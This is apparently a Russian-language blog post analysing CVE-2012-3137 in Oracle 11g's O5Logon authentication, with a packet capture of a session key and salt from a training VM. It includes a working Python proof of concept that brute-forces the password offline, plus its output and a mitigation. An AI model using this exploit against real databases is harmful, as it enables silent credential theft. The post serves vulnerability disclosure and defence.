Pull to refresh

Уязвимость в протоколе аутентификации Oracle 11g

Reading time3 min
Views11K
Не так давно стало известно о новой уязвимости (получившей номер CVE-2012-3137) в протоколе аутентификации O5Logon, испольуемом в БД Oracle версий 11.1 и 11.2. Уязвимость позволяет удаленному пользователю получить пароль доступа, произведя brutforce атаку на зашифрованный идентификатор сессии, полученный от сервера. Эта особенность дает возможность подобрать пароль пользователя локально, не отправляя дополнительные сетевые запросы на сервер базы данных.

Краткий обзор механизма работы O5Logon

Взаимодействие с сервером происходит по следующей схеме:
  1. Клиент подключается к серверу и отправляет имя пользователя
  2. Сервер генерирует идентификатор сессии и шифрует его, используя AES-192. В качестве ключа используется SHA1 хэш пароля пользователя и добавляемой к нему соли (salt)
  3. Сервер отправляет зашифрованный идентификатор сессии и соль клиенту
  4. Клиент генерирует ключ, путем получения хэша от своего пароля и полученной соли. Используя данный ключ, клиент расшифровывает данные сессии, полученные от сервера.
  5. На снове расшифрованного идентификатора сессии сервера, клиент вырабатывает новый общий ключ, который используется в дальнейшем


Основной интерес представляют этапы 1-3, которые можно представить в следующем виде:

Сервер с самого начала соединения передает всю информацию, необходимую для подбора пароля. Провести атаку позволяет ключевая особенность Session Id: последние 8 байт открытого идентификатора сессии всегда состоят из восьмерок. Этой информации достаточно, чтобы определить правильность дешифрования.

Другой особенностью данной проблемы является то, что разорвав соединение после 3-го этапа, факт попытки подключения не будет отображаться в логах, т.е. атаку можно произвести полностью незаметно.

Практический аспект

Для тестирования уязвимости установлена свободно распространяемый дамп виртуальной машины, используемой Oracle для обучения разработчиков и содержащая предустановленную БД версии 11.2.0.2

После инсталляции можно пробовать подключиться к БД по стандартному порту, используя, например, Python и библиотеку cx_Oracle. В качестве теста, подбор осуществлялся для встроенного пользователя system. Достаточно знать лишь имя пользователя, чтобы получить все необходимые данные для дальнейшей атаки:

>>> import cx_Oracle
>>> con = cx_Oracle.connect('system/wrongpassword@192.168.56.104/orcl')

Traceback (most recent call last):
File "<stdin>", line 1, in <module>
cx_Oracle.DatabaseError: ORA-01017: invalid username/password; logon denied


Для получения зашифрованого идентификатора сессии и соли в данном случае проще всего было использовать Wireshark:


Полезными здесь будут следующие значения:

Идентификатор сессии(AUTH_SESSKEY): EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767

Соль(AUTH_VFR_DATA): A7193E546377EC56639E

Proof of concept

Для дешифрования сессии и брутфорса пароля на коленке был написан следующий код:
#-*-coding:utf8 -*-

import hashlib
from Crypto.Cipher import AES

def decrypt(session,salt,password):
	pass_hash = hashlib.sha1(password+salt)

	#дополняем длину ключв шифрования до 24 байт
	key = pass_hash.digest() + '\x00\x00\x00\x00'
	decryptor = AES.new(key,AES.MODE_CBC)
	plain = decryptor.decrypt(session)
	return plain

#зашифрованный идентикатор сессии 48 байт
session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'

#соль 10 байт
salt_hex = 'A7193E546377EC56639E'

passwords = ['test','password','oracle','demo']

for password in passwords:
	session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
	print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex'))
	if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
		print 'PASSWORD IS "%s"' % password
		break


При запуске программы получаем:
Decrypted session_id for password "test" is 26998331454aeb10fbf10ae8a3deac8e9e0531378089a3acaa9294f3256227bc00feae272db6c1eafb105d6baa953274
Decrypted session_id for password "password" is 8a62f6dcca35f6886ea5b0cbd24791cfd0a3390eb29c64a4d58bfe1c19e27df0de315772ea84e28ddd9a126dfdec134d
Decrypted session_id for password "oracle" is 58b6e23a31ee7136d4893a01d48cd17e841fc3e90545711668a69d9c28b5c5d8819a4f7a961334320808080808080808
PASSWORD IS "oracle"
[Finished in 0.1s]

Пароль успешно подобран.

Заключение

Oracle решил данную проблему в версии 11.2.0.3, разрешив пользователям использовать новый механизм аутентификации, для включения которого необходимо в файлах sqlnet.ora для клиентской и серверной части явно прописать:

SQLNET.ALLOWED_LOGON_VERSION=12

Но наврятли можно считать это решение приемлемым для большинства работающих систем, т.к. кроме серверной части необходимо переконфигурировать и клиентов. Как обычно в таких случаях, разумными рекомендациями можно считать использование надежных паролей и четкое ограничение на уровне сетевого доступа.
Tags:
Hubs:
+37
Comments12

Articles